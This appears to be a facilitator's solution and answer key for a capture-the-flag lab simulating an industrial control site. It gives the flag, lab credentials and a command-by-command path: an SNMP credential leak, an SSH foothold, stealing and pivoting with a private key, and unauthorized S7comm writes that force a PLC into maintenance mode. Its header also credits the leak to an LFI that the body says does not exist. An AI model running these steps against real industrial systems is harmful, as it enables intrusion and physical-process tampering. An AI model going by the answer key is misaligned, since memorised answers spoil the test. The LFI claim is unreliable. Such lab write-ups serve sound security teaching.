Aurora Ridge Enrichment Facility - solution

Flag: HackFury{aur0ra_ridge_s7_c3ll_4f9c2a1d}

Facilitator creds / path:

• svc-scada / 8o47vmkRGVGBDSr846xDlz - SSH to plant-web (leaked via LFI of /etc/aurora/scada.conf).
• d.whitfield@10.20.20.5 (eng-ws) - via the private key in svc-scada's home; ProxyJump through plant-web.
• PLC S7comm 10.30.30.10:102 - write DB2 [01 00 5A 5A] → flag dumped to DB1[32:96].

Zones

Only plant-web bridges edge↔corp; only eng-ws bridges corp↔cell. So the path is
forced: web → eng-ws → PLC.

Intended path

1. Recon the DMZ gateway - SNMP leaks the SSH credential (Q1, Q2)

Initial access is NOT the web portal (it is recon only - its /about page names
the accounts and it links a read-only log viewer, but there is no traversal). The
foothold comes from SNMP: the gateway answers the default public community, and
an admin left the SCADA SSH password in the contact field.

nmap -sU -p161 TARGET                                   # UDP/161 open
snmpwalk -v2c -c public TARGET 1.3.6.1.2.1.1            # system MIB
#   sysContact: SCADA maintenance jobs authenticate as svc-scada
#               (ssh pw: 8o47vmkRGVGBDSr846xDlz) - rotate quarterly

Community (public) and account (svc-scada) are both read straight out of SNMP

• nothing guessed.

2. SSH foothold on plant-web (Q3, part)

ssh -p 22 svc-scada@TARGET            # password from sysContact above

3. SSH pivot to the engineering workstation (Q3)

On plant-web, svc-scada has the controls-engineering pivot key and its target:

cat ~/.ssh/config          # Host eng-ws → 10.20.20.5, user d.whitfield, IdentityFile ~/.ssh/id_ed25519
ip -4 addr                 # this box is also on 10.20.20.0/24 (corp)
ssh eng-ws                 # lands on eng-ws as d.whitfield (key auth)

From the attacker box you can do it in one hop with ProxyJump:

scp -P 22 svc-scada@TARGET:~/.ssh/id_ed25519 ./pivot.key && chmod 600 pivot.key
ssh -o ProxyJump=svc-scada@TARGET:22 -i pivot.key d.whitfield@10.20.20.5

4. Enumerate the cell VLAN, locate the PLC (Q4)

ip -4 addr                 # eng-ws is also on 10.30.30.0/24 (cell)
cat ~/aurora-plc/PLC_MAINTENANCE.md    # PLC = 10.30.30.10:102, rack 0 slot 1, DB map

PLC IP = 10.30.30.10.

5. Unauthorized S7comm command → flag (Q5 order, Q6 flag)

The SOP documents DB2 (control) and DB1 (status). Setting MAINT_REQ with
KEYSWITCH=0x5A5A drives the CPU into MAINT and dumps the commissioning secret
to DB1[32:]:

cd ~/aurora-plc
./s7ctl.py plc read  1 0 32           # station=AURORA-RIDGE-C3, mode 0x00 RUN
./s7ctl.py plc write 2 0 01005a5a     # MAINT_REQ=1, KEYSWITCH=0x5A5A
./s7ctl.py plc read  1 32 64          # -> MAINT DIAG C3 SECRET=HackFury{...}
./s7ctl.py plc write 2 0 00000000     # keyswitch back to RUN (leave it clean)

Proof it works

The S7comm capstone (the custom-protocol part) is validated by solve.py
against the actual shipped PLC code, with no docker:

$ python solution/solve.py --selftest
[127.0.0.1] station='AURORA-RIDGE-C3'
[127.0.0.1] diagnostic dump: MAINT DIAG C3 SECRET=HackFury{selftest-only}
selftest OK: HackFury{selftest-only}